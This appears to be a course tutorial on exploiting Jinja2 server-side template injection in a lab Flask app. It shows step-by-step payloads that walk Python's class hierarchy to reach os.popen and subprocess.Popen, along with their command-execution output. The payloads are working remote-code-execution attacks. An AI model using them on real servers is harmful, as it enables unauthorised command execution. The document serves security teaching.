Exploiting when we dont have flask
Calling Other Functions, and the MRO
When we dont have acccss to the request.application
we can still work back up the tree.
Defining a new base object (for example a string), we are able to create a new object of type class As each of the classes know about their Parent, we can traverse back up the class higerachy untill we reach the root of the tree. This gives us a starting point of the common (builtin) functions that we can use to exploit the system.
Example
For our elvis string, we can get back to the top of the tree with either
n [16]: "Elvis".__class__.__base__.__subclasses__()
Out[16]:
[type,
weakref,
weakcallableproxy,
weakproxy,
int,
bytearray,
bytes,
list,
Or using the MRO
In [26]: "Elvis".__class__.mro()[1].__subclasses__()
Out[26]:
[type,
weakref,
weakcallableproxy,
weakproxy,
int,
bytearray,
Proof of Concept (part 1)
So our POC looks something like this.
- Create a new object (In this case a string)
- Traverse its parents unill we get to the base classs
- Use the contents of
__subclasses__
to find the functionality we want.
Traversing the Tree using our python script
using the sendPayload
script we wrote earlier we get
In [27]: sendPayload("{{ 'Elvis'.__class__.__base__.__subclasses__() }}")
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Present List</title>
<meta name="author" content="aa9863@coventry.ac.uk">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>
<body>
<div class="container">
<h2>Error</h2>
<div class="alert alert-danger" role="alert">
ERROR: [<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>
After a bit of mangling with Awk and SED, we can get a list of all the objects and functions that are avaialable.
<class 'type,
weakref,
weakcallableproxy,
weakproxy,
int,
bytearray,
bytes,
list,
NoneType,
NotImplementedType,
traceback,
super,
range,
Using OS
While we cant directly access OS, a useful function that should be available to us is the warnings.catch_warnings
module. This imports a whole range of useful functionality, including the OS module.
I found the warnings.catch_warnings
on line 186 of the output.
In [70]: sendPayload("{{ [].__class__.__mro__[1].__subclasses__()[186] }}")
....
ERROR: <class 'warnings.catch_warnings'> is not a King
We can then use the same trick to locate the Import statment and get to our intended function
sendPayload("{{ [].__class__.__mro__[1].__subclasses__()[186].__init__.__globals__
...: ['sys'].modules['os'].popen('id').read() }}")
....
ERROR: uid=999(flask) gid=999(flask) groups=999(flask)
Using Subprocess
If wearnings is not available, we can find the subprocess.popen command in the list of builtins. On my system its item 414 in the list.
In [56]: sendPayload("{{ 'Elvis'.__class__.__base__.__subclasses__()[414] }}")
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Present List</title>
<meta name="author" content="aa9863@coventry.ac.uk">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>
<body>
<div class="container">
<h2>Error</h2>
<div class="alert alert-danger" role="alert">
ERROR: <class 'subprocess.Popen'> is not a King
</div>
</div>
</body>
</html>
Once we have found this its easy to complete our payload to run a command
In [64]: sendPayload("{{ 'Elvis'.__class__.__base__.__subclasses__()[414]('id', shell=True,
...: stdout=-1).communicate() }}")
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Present List</title>
<meta name="author" content="aa9863@coventry.ac.uk">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>
<body>
<div class="container">
<h2>Error</h2>
<div class="alert alert-danger" role="alert">
ERROR: (b'uid=999(flask) gid=999(flask) groups=999(flask)\n', None) is not a King
</div>
</div>
</body>
</html>
Dealng with Filters
A lot of the time we have to work our way around filers.
This is an excellent resource SSTI Filter Evasion
Further Reading
https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/